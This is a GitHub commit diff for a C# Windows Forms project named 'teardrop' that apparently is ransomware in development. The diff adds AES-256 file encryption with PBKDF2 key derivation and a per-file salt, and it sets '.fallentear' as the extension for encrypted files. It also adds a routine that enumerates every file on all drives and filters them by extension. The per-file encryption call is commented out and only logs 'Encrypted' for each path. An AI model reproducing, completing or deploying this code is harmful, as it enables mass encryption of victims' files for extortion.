Skip to content

Commit b6c65fa

Browse files
committed
Minor Update
1 parent 9b6f5ba commit b6c65fa

17 files changed

+134
-43
lines changed

teardrop/.vs/teardrop/v16/.suo

-98 KB
Binary file not shown.

teardrop/teardrop/App.config

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,9 @@
2121
<setting name="key" serializeAs="String">
2222
<value />
2323
</setting>
24+
<setting name="extension" serializeAs="String">
25+
<value>.fallentear</value>
26+
</setting>
2427
</teardrop.Properties.Settings>
2528
</userSettings>
2629
</configuration>

teardrop/teardrop/Crypto.cs

Lines changed: 94 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
using System.Collections.Generic;
33
using System.IO;
44
using System.Linq;
5+
using System.Runtime.InteropServices;
56
using System.Security.Cryptography;
67
using System.Text;
78
using System.Threading.Tasks;
@@ -19,68 +20,126 @@ public static string GetRandomString(int length)
1920
.Select(s => s[random.Next(s.Length)]).ToArray());
2021
}
2122

22-
public void Encrypt(string inputFile, string outputFile)
23+
[DllImport("KERNEL32.DLL", EntryPoint = "RtlZeroMemory")]
24+
public static extern bool ZeroMemory(IntPtr Destination, int Length);
25+
26+
public static byte[] GenerateRandomSalt()
2327
{
28+
byte[] data = new byte[32];
2429

25-
try
30+
using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider())
2631
{
27-
string password = @"myKey123";
32+
for (int i = 0; i < 10; i++)
33+
{
34+
rng.GetBytes(data);
35+
}
36+
}
37+
38+
return data;
39+
}
40+
41+
public static void FileEncrypt(string inputFile, string password)
42+
{
43+
byte[] salt = GenerateRandomSalt();
44+
45+
FileStream fsCrypt = new FileStream(inputFile + Properties.Settings.Default.extension, FileMode.Create);
46+
47+
byte[] passwordBytes = System.Text.Encoding.UTF8.GetBytes(password);
2848

29-
UnicodeEncoding UE = new UnicodeEncoding();
30-
byte[] key = UE.GetBytes(password);
49+
RijndaelManaged AES = new RijndaelManaged();
50+
AES.KeySize = 256;
51+
AES.BlockSize = 128;
52+
AES.Padding = PaddingMode.PKCS7;
3153

32-
string cryptFile = outputFile;
33-
FileStream fsCrypt = new FileStream(cryptFile, FileMode.Create);
54+
var key = new Rfc2898DeriveBytes(passwordBytes, salt, 50000);
55+
AES.Key = key.GetBytes(AES.KeySize / 8);
56+
AES.IV = key.GetBytes(AES.BlockSize / 8);
3457

35-
RijndaelManaged RMCrypto = new RijndaelManaged();
58+
AES.Mode = CipherMode.CFB;
3659

37-
CryptoStream cs = new CryptoStream(fsCrypt,
38-
RMCrypto.CreateEncryptor(key, key),
39-
CryptoStreamMode.Write);
60+
fsCrypt.Write(salt, 0, salt.Length);
4061

41-
FileStream fsIn = new FileStream(inputFile, FileMode.Open);
62+
CryptoStream cs = new CryptoStream(fsCrypt, AES.CreateEncryptor(), CryptoStreamMode.Write);
4263

43-
int data;
44-
while ((data = fsIn.ReadByte()) != -1)
45-
cs.WriteByte((byte)data);
64+
FileStream fsIn = new FileStream(inputFile, FileMode.Open);
4665

66+
byte[] buffer = new byte[1048576];
67+
int read;
68+
69+
try
70+
{
71+
while ((read = fsIn.Read(buffer, 0, buffer.Length)) > 0)
72+
{
73+
Application.DoEvents();
74+
cs.Write(buffer, 0, read);
75+
}
4776

4877
fsIn.Close();
49-
cs.Close();
50-
fsCrypt.Close();
5178
}
52-
catch
79+
catch (Exception ex)
5380
{
54-
MessageBox.Show("Encryption failed!", "Error");
81+
Console.WriteLine("Error: " + ex.Message);
82+
}
83+
finally
84+
{
85+
cs.Close();
86+
fsCrypt.Close();
5587
}
5688
}
5789

58-
public void Decrypt(string inputFile, string outputFile)
90+
public static void FileDecrypt(string inputFile, string outputFile, string password)
5991
{
60-
{
61-
string password = @"myKey123"; // Your Key Here
92+
byte[] passwordBytes = System.Text.Encoding.UTF8.GetBytes(password);
93+
byte[] salt = new byte[32];
6294

63-
UnicodeEncoding UE = new UnicodeEncoding();
64-
byte[] key = UE.GetBytes(password);
95+
FileStream fsCrypt = new FileStream(inputFile, FileMode.Open);
96+
fsCrypt.Read(salt, 0, salt.Length);
6597

66-
FileStream fsCrypt = new FileStream(inputFile, FileMode.Open);
98+
RijndaelManaged AES = new RijndaelManaged();
99+
AES.KeySize = 256;
100+
AES.BlockSize = 128;
101+
var key = new Rfc2898DeriveBytes(passwordBytes, salt, 50000);
102+
AES.Key = key.GetBytes(AES.KeySize / 8);
103+
AES.IV = key.GetBytes(AES.BlockSize / 8);
104+
AES.Padding = PaddingMode.PKCS7;
105+
AES.Mode = CipherMode.CFB;
67106

68-
RijndaelManaged RMCrypto = new RijndaelManaged();
107+
CryptoStream cs = new CryptoStream(fsCrypt, AES.CreateDecryptor(), CryptoStreamMode.Read);
69108

70-
CryptoStream cs = new CryptoStream(fsCrypt,
71-
RMCrypto.CreateDecryptor(key, key),
72-
CryptoStreamMode.Read);
109+
FileStream fsOut = new FileStream(outputFile, FileMode.Create);
73110

74-
FileStream fsOut = new FileStream(outputFile, FileMode.Create);
111+
int read;
112+
byte[] buffer = new byte[1048576];
75113

76-
int data;
77-
while ((data = cs.ReadByte()) != -1)
78-
fsOut.WriteByte((byte)data);
114+
try
115+
{
116+
while ((read = cs.Read(buffer, 0, buffer.Length)) > 0)
117+
{
118+
Application.DoEvents();
119+
fsOut.Write(buffer, 0, read);
120+
}
121+
}
122+
catch (CryptographicException ex_CryptographicException)
123+
{
124+
Console.WriteLine("CryptographicException error: " + ex_CryptographicException.Message);
125+
}
126+
catch (Exception ex)
127+
{
128+
Console.WriteLine("Error: " + ex.Message);
129+
}
79130

80-
fsOut.Close();
131+
try
132+
{
81133
cs.Close();
134+
}
135+
catch (Exception ex)
136+
{
137+
Console.WriteLine("Error by closing CryptoStream: " + ex.Message);
138+
}
139+
finally
140+
{
141+
fsOut.Close();
82142
fsCrypt.Close();
83-
84143
}
85144
}
86145
}
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
namespace teardrop
2+
{
3+
internal class FileSystemEntry
4+
{
5+
}
6+
}

teardrop/teardrop/Form1.Designer.cs

Lines changed: 3 additions & 3 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

teardrop/teardrop/Form1.cs

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,8 @@ public void write(string text)
5252

5353
public static List<string> drives = new List<string>();
5454
public static List<string> files = new List<string>();
55-
55+
56+
5657
public void GetFiles()
5758
{
5859
try
@@ -65,11 +66,13 @@ public void GetFiles()
6566
{
6667
write("Found drive " + drive.Name);
6768
write("Getting Files of Drive " + drive.Name);
68-
files.AddRange(Directory.EnumerateFiles(drive.Name, "*", SearchOption.AllDirectories));
69+
70+
files.AddRange(Directory.EnumerateFiles(drive.Name, "*",
71+
SearchOption.AllDirectories));
6972
}
7073
catch (Exception ex1)
7174
{
72-
75+
write("ex1 " + ex1.Message);
7376
}
7477
}
7578
}
@@ -95,7 +98,8 @@ public void GetFiles()
9598
};
9699

97100
if (validExtensions.Contains(ext)){
98-
write(s);
101+
//Crypto.FileEncrypt(s, Properties.Settings.Default.key);
102+
write("Encrypted " + s);
99103
}
100104
}
101105

teardrop/teardrop/Properties/Settings.Designer.cs

Lines changed: 12 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

teardrop/teardrop/Properties/Settings.settings

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,5 +5,8 @@
55
<Setting Name="key" Type="System.String" Scope="User">
66
<Value Profile="(Default)" />
77
</Setting>
8+
<Setting Name="extension" Type="System.String" Scope="User">
9+
<Value Profile="(Default)">.fallentear</Value>
10+
</Setting>
811
</Settings>
912
</SettingsFile>
1.5 KB
Binary file not shown.

teardrop/teardrop/bin/Debug/teardrop.exe.config

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,9 @@
2121
<setting name="key" serializeAs="String">
2222
<value />
2323
</setting>
24+
<setting name="extension" serializeAs="String">
25+
<value>.fallentear</value>
26+
</setting>
2427
</teardrop.Properties.Settings>
2528
</userSettings>
2629
</configuration>

0 commit comments

Comments
 (0)